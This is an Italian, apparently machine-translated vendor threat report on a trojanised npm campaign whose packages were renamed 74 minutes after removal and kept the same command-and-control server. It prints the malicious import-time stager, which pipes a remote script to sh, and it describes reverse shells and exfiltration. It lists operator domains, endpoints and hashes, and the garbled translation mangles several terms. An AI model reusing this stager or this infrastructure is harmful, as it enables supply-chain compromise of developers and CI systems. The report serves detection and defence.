GhostTracker: il trojan npm è stato rinominato in 74 minuti — Stesso C2

GhostTracker: un trojan npm che ha cambiato nome poche ore dopo essere stato rimosso, mantenendo lo stesso C2

TL; DR

Un singolo operatore npm pubblicato cinque pacchetti trojanizzati in due round in tre giorni. I pacchetti si presentano come piccole utility terminal-color, logger e Postgres-client. Il codice dannoso viene eseguito nel momento in cui il pacchetto viene importato — non c'è alcuno script di installazione da intercettare.

Primo round (neon-terminal, neon-postgres, ne-logger) è stato rimosso dalla pubblicazione il 05-07-2026 alle 14:14 UTC. Settantaquattro minuti dopo lo stesso account ha ripubblicato lo stesso trojan con nuovi nomi (agn-terminal, agn-logger) — e lo puntò verso il stesso endpoint di comando e controllo era stato utilizzato in precedenza: tracker.bvgroup.co.

Quel server C2 è l'unico indicatore che sopravvive alla ridenominazione ed è la cosa più veloce da cercare per un difensore. Gravità: altoEcosistema: npmAl momento della stesura di questo articolo, i pacchetti del secondo round erano ancora disponibili.

L'attacco: come funziona

Le confezioni sono esche funzionali. Apri ag-terminale e troverete un ausilio completo e funzionante per i colori ANSI — codici, Supporta il colore, colorare, dipingere — con tipi e un README. Il codice di utilità funziona. In cima al modulo di ingresso, sopra il codice utile, ci sono alcune righe che vengono eseguite all'importazione.

// agn-terminal 0.1.0 — src/index.js (top of module) import { exec } from "node:child_process";  const child = exec(   "curl -fsSL https://remote.agyn.org/remote.sh | " +   "TRACKER_REMOTE_ENDPOINT='https://tracker.bvgroup.co/remote/…' sh",   {}, (error, stdout, stderr) => {}, ); 

Tre elementi contribuiscono alla sua efficacia.

  • Si attiva durante l'importazione, non durante l'installazione. Il pacchetto dichiara di no preinstallare or post-installazione gancio: il solito punto in cui guardano gli scanner e i revisori. exec La chiamata è codice a livello di modulo. Viene eseguita la prima volta che succede qualcosa. richiedere("agn-terminale") or importa “agn-terminal”, sulla macchina dello sviluppatore o all'interno di CI. Sia la voce ESM (src/index.js) e la voce CommonJS (cjs/src/index.js) trasportano lo stesso carico utile, quindi entrambi i sistemi di moduli sono coperti.
  • Il vero carico utile si trova al di fuori della confezione. Il pacchetto spedisce solo uno stager di una riga: fetch remote.agyn.org/remote.sh` e inviarlo tramite pipe a sh`. Qualunque cosa l'operatore fornisca da quell'URL al momento della richiesta è ciò che viene eseguito. L'endpoint C2 viene passato allo script scaricato tramite il TRACKER_REMOTE_ENDPOINT variabile d'ambiente, quindi lo script di fase due telefona a casa tracker.bvgroup.co.
  • Un pacchetto di trasporto amplia il raggio d'azione dell'esplosione. ag-logger è un secondo esca: un "piccolo registratore globale". Non ha un proprio carico utile. Il suo modulo di ingresso fa una cosa rilevante:
// agn-logger 0.1.0 — cjs/src/index.js const { colorize, supportsColor } = require('agn-terminal'); 

Dichiara ag-terminale come dipendenza e lo importa. L'installazione o l'importazione del logger include e attiva il pacchetto terminale in modo transitivo. Un progetto che non nomina mai direttamente il Trojan può comunque eseguirlo tramite il logger.

Cosa c'è di nuovo qui?

Il primo round non ha utilizzato uno stager remoto. Ha spedito il payload in linea e lo ha escalato versione per versione: una shell inversa bash in una release, un presa di rete guscio inverso nel successivo, un git add/commit/ push della directory di lavoro della vittima in un'altra, e infine un agente di comando e controllo HTTP completo in terminale al neon 0.9.0 che ha registrato l'host, ha effettuato il polling per le attività, le ha eseguite con exec ()e ha trasmesso in streaming l'output codificato in base64. Il secondo round comprime tutto ciò in un unico riccio | sh, spostando completamente la seconda fase fuori dal registro. Stesso operatore, pacchetto più silenzioso, carico utile più flessibile e, cosa fondamentale, lo stesso C2 di prima.

timeline

Data (UTC) Event
2026-07-03 07:03 Pubblicato il primo round: neon-terminal (0.1.0 pulito, poi 0.2.0–0.9.0 dannoso), neon-postgres 3.5.2, ne-logger 0.7.0
2026-07-03 07:05 neon-terminal segnalato nella scansione in tempo reale
2026-07-04 Confermato il contenuto dannoso; la correlazione evidenzia i due pacchetti correlati; segnalati i primi tentativi di rimozione.
2026-07-05 14:14 Primo round non pubblicato — tutti e otto neon-terminal versioni più fratelli rimossi
2026-07-05 15:28 agn-terminal 0.1.0 pubblicato
2026-07-05 15:29 agn-logger 0.1.0 pubblicato — supporto per il nuovo pacchetto terminale
05/07/2026 (in corso) Al momento della stesura di questo articolo, i pacchetti del secondo round sono disponibili.

I due round si svolgono a tre giorni di distanza e l'intervallo tra la rimozione e il rilancio è stato di 74 minuti. La campagna è aperta: ag-* I pacchetti non erano ancora stati rimossi al momento della stesura di questo testo.

Indicatori di compromesso

Cerca nei file di blocco e negli alberi delle dipendenze i nomi dei pacchetti. Cerca proxy, DNS e EDR registri per gli endpoint di rete. L'host C2 tracker.bvgroup.co Copre entrambi i round ed è l'indicatore singolo di maggior valore.

personalizzati

CONFEZIONE versioni Ruolo Stato
neon-terminal 0.2.0–0.9.0 Trojan (payload inline → HTTP C2) inedito
neon-postgres 3.5.2 trojan (payload in src/errors.js) inedito
ne-logger 0.7.0 vettore (dipende da neon-terminal) inedito
agn-terminal 0.1.0 troiano (curl | sh (stager) vivere
agn-logger 0.1.0 vettore (dipende da agn-terminal) vivere

terminale al neon La versione 0.1.0 era una versione di partenza pulita, una libreria di colori funzionante senza alcun payload, pubblicata per consolidare il pacchetto prima che seguissero le versioni dannose.

Reti

Contesto
tracker.bvgroup.co/remote/… HTTP C2, entrambi i round (token del secondo round) t42xNzaT2SnXbS_PsZ3gKDY-keTufZ2J)
remote.agyn.org/remote.sh caricatore di secondo round, fase uno
reverse.bvgroup.co:443 punto finale del guscio inverso del primo round (neon-terminal 0.6.0)
6.tcp.eu.ngrok.io:28754 guscio inverso del primo round (neon-terminal 0.3.0)
2.tcp.eu.ngrok.io:25852 guscio inverso del primo round (neon-terminal 0.4.0)
bvgroup.co, agyn.org, agyn.io domini controllati dall'operatore

Behavioral

  • A livello di modulo child_process.exec nella parte superiore del file di ingresso di un pacchetto di utilità, in entrambi src/index.js (ESM) e cjs/src/index.js (CJS).
  • A curl -fsSL … | sh una riga con il C2 passato tramite un TRACKER_REMOTE_ENDPOINT variabile d'ambiente.
  • Un secondo pacchetto "di utilità" che dichiara il primo come dipendenza e lo importa, senza alcun contenuto proprio.
  • Un avanzo // neon-terminal commento in cima a ag-terminale — un artefatto copiato e incollato che collega il rebranding all'originale.

Hash dei file (SHA-256, secondo round)

  • ag-terminale src/index.js - 6d464cedf64f3a26fb8f5e61ee5730fe42be4135aa87429aeb514c4f97209bc7
  • ag-terminale cjs/src/index.js - b85e80056a7607c49add12c1626881392a28e7d0e146e49a856d84725cfb46ac
  • ag-logger src/index.js - 667a858c749d058d4546654cdda59e963a1a0cba97900feeb96753c2d768ff19

Attribuzione e comportamento osservato

Ogni pacchetto è riconducibile a un account npm, vitalii-agyn, pubblicato con l'indirizzo email non verificato vitalii@agyn.io. I metadati del registro dell'account stesso elencano tutti e tre i pacchetti del primo round come gestiti da esso. L'infrastruttura collega i round insieme: il dominio agyn.org corrisponde a quello dell'editore agyn.io dominio di posta elettronica e host C2 tracker.bvgroup.co appare in entrambi terminale al neon 0.9.0 e ag-terminale 0.1.0 — lo stesso percorso del raccoglitore, riutilizzato integralmente dopo la ridenominazione.

Descriviamo ciò che mostrano i manufatti e ci fermiamo lì. L'indirizzo email dichiarato dall'editore è vitalii@agyn.ioNon abbiamo verificato la proprietà di quell'indirizzo e non attribuiamo l'account a nessuna persona o gruppo specifico. Il riutilizzo di un endpoint C2 in due famiglie di pacchetti è un forte segnale di appartenenza allo stesso operatore, non un'identificazione.

I pacchetti del primo round puntavano sulla vicinanza dei marchi. neon-postgres era un clone completo di quello ampiamente utilizzato da Porsager postgres.js cliente, slogan e tutto il resto, con il payload nascosto in src/errors.js quindi un percorso di importazione di routine lo raggiungerebbe — e il neon- Il prefisso prende in prestito la riconoscibilità di Neon, il provider Postgres serverless. I nomi del secondo round hanno abbandonato l'impersonificazione e sono diventati generici (ag-terminale, ag-logger), attrattiva del marchio commerciale per una rottura più netta dai nomi bruciati.

  • Chi è esposto. Chiunque installa e importa uno di questi pacchetti, direttamente o tramite il vettore, su un host di tipo Unix. Lo stager utilizza arricciare and sh; i gusci rotondi utilizzano bash and /dev/tcpPoiché l'esecuzione avviene al momento dell'importazione, è sufficiente un server di build che installi la dipendenza ed esegua qualsiasi codice che la utilizzi: non è richiesto alcun passaggio successivo all'installazione. Su una workstation di sviluppo o su un runner CI, la seconda fase scaricata viene eseguita con i privilegi dell'utente e con accesso completo alla rete.
  • Perché l'esecuzione in fase di importazione è importante. Le difese della catena di approvvigionamento si sono concentrate sugli script di installazione, e per una buona ragione: postinstall è il classico punto d'appoggio di npm. Questa campagna lo aggira completamente. Non c'è alcun hook di installazione da segnalare. codice dannoso Si tratta di una normale inizializzazione del modulo, indistinguibile a prima vista da un pacchetto che calcola una tabella di ricerca al caricamento. Gli strumenti che ispezionano solo gli script in package.json non rilevano nulla.
  • La tendenza al rebranding e al riutilizzo. La rapidità con cui la campagna è stata neutralizzata, pari a 74 minuti, è la chiave di volta. L'operazione di rimozione ha eliminato i nomi, ma non l'operatore, l'infrastruttura o il codice. Nel giro di un'ora, la campagna era di nuovo online con nuovi nomi che puntavano allo stesso server C2. Un blocco basato sui nomi, come ad esempio il denylisting di neon-terminal, sarebbe stato ormai inefficace. Un blocco basato sull'infrastruttura, come il denylisting di bvgroup.co, avrebbe bloccato il secondo tentativo non appena arrivato. Per un operatore attivo che ripubblica i contenuti più velocemente di quanto i registri li rimuovano, l'indicatore affidabile è l'endpoint di rete, non il nome del pacchetto.

Cosa fare adesso

  • Cerca nei file di blocco e nelle directory di installazione tutti e cinque i nomi di pacchetto sopra indicati. Considera ogni corrispondenza come un host compromesso e ruota le credenziali raggiungibili da esso.
  • Blocca e avvisa sui domini bvgroup.co, agyn.orge gli endpoint ngrok nel filtraggio DNS e in uscita. tracker.bvgroup.co è la priorità.
  • Non affidarti solo alla scansione dell'hook di installazione. Aggiungi il rilevamento a livello di modulo processo_figlio e chiamate di rete nelle dipendenze e per riccio … | sh modelli nel codice sorgente del pacchetto.
  • Un pacchetto di utilità che dichiara un'altra utilità poco conosciuta come sua unica dipendenza e la importa al caricamento dovrebbe essere considerato con maggiore attenzione.
  • In CI, prefer –Ignore-scripts dove possibile, ma si tenga presente che in questo caso non è d'aiuto: il payload viene eseguito all'importazione, quindi i controlli in uscita a runtime e la revisione delle dipendenze sono più importanti.

Referenze

sca-tools-software-strumenti-di-analisi-della-composizione
Dai priorità, risolvi e proteggi i rischi del tuo software
Crea il tuo account gratuito.
Nessuna carta di credito richiesta.

Proteggi lo sviluppo e la consegna del tuo software

con la suite di prodotti Xygeni